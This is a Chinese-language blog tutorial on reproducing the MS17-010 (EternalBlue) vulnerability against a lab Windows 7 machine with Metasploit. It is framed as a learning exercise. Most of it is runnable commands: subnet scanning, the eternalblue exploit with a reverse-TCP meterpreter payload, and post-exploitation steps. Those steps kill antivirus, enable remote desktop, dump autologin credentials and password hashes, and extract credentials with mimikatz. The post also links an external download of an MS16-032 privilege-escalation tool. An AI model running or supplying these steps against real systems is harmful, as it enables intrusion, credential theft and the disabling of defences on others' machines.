Metersploit 集成了渗透阶段的全部利用,从漏洞探测,到漏洞利用,最后到后渗透阶段。本次博客主要抛砖引玉,通过对MS17_010漏洞的复现,来学习Metasploit。
漏洞环境:
靶机:windows 7 (192.168.0.135)
攻击机:kali 2018 (192.168.0.133)
开始之前先来熟悉 Metaspolit 基本术语:
Auxiliaries(辅助模块),Exploit(漏洞利用模块),Payload(攻击载荷模块),Post(后期渗透模块),Encoders(编码工具模块)
1.加载smb扫描模块
msf > search auxiliary/scanner/smb
发现可利用的smb_ms17_010模块
2.加载漏洞扫描模块对ip段进行漏洞扫描:
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192.168.0.100-150
msf > set threads 10
msf > run
发现 192.168.0.135 这台主机可能存在MS17_010漏洞
3.利用nmap对漏洞主机进行探测:
msf > nmap -T4 -A 192.168.0.135
发现敏感端口139,445开启
4.搜索MS17_010可利用漏洞模块
msf > search ms17_010
(没有的话 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git)
5.加载漏洞利用模块,设置参数
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set lhost 192.168.0.133
msf > set rhost 192.168.0.135
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > exploit
可以看到漏洞利用成功,现在是 system 最高权限
6.信息查看
进程迁移:
因为shell都是不稳定的,所以需要找到一个可靠的进程,迁移过去:
migrate 要迁移的进城号
查看系统信息:
meterpreter > sysinfo
查看是否为虚拟机:
meterpreter > run post/windows/gather/checkvm
查看目标机运行时间:
meterpreter > idletime
查看完整网络设置:
meterpreter > route
关闭杀毒软件:
meterpreter > run post/windows/manage/killav
启动目标机的远程桌面协议,开启3389端口:
meterpreter > run post/windows/manage/enable_rdp
可以看到已经成功启动了远程桌面。
列举当前登陆过的用户:
meterpreter > run post/windows/gather/enum_logged_on_users
可以看到有 SecEvery,Administrator两个用户。
列举安装在目标机上的应用程序:
meterpreter > run post/windows/gather/enum_applications
将当前Meterpreter终端隐藏在后台:
meterpreter > background
需要重新调用终端:
meterpreter > sessions -i 1
很多用户习惯将计算机设置为自动登陆,下面这个命令可以抓取自动登陆的用户名和密码:
meterpreter > run windows/gather/credentials/windows_autologin
下载c盘下1.txt文件到/home目录下:
meterpreter > download c:\txt /home
上传/home目录下1.txt文件到c盘下:
meterpreter > upload /home/1.txt c:\
密码抓取:
1.使用Hashdump抓取密码
Hashdump Meterpreter脚本可以从目标机中提取Hash值,破解Hash值即可获得登陆密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号。所以要使用改名了就必须进行权限提升。
在Meterpreter Shel提示符下输入hashdump命令,将导出目标机sam数据库中的Hash:
2.使用Mimikatz抓取密码
加载mimikatz模块:
meterpreter > load mimikatz
看了大概使用方法后,既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。
抓取系统Hash:
meterpreter > msv
md5解密:
抓取系统票据:
meterpreter > kerberos
获取系统账户信息:
----------------------------------------------------------------------------------
emmmm....为了给这篇文章增加一点营养,这里另附使用MS16_032对 windows 2003 进行溢出提权:
另附ms16_032提权小工具:
https://pan.baidu.com/s/141N6rXVO7mGvuXfp5UzzBA
提取码:yavh 解压码: 96sec.org
参考链接:
https://www.cnblogs.com/lsgxeva/p/8450277.html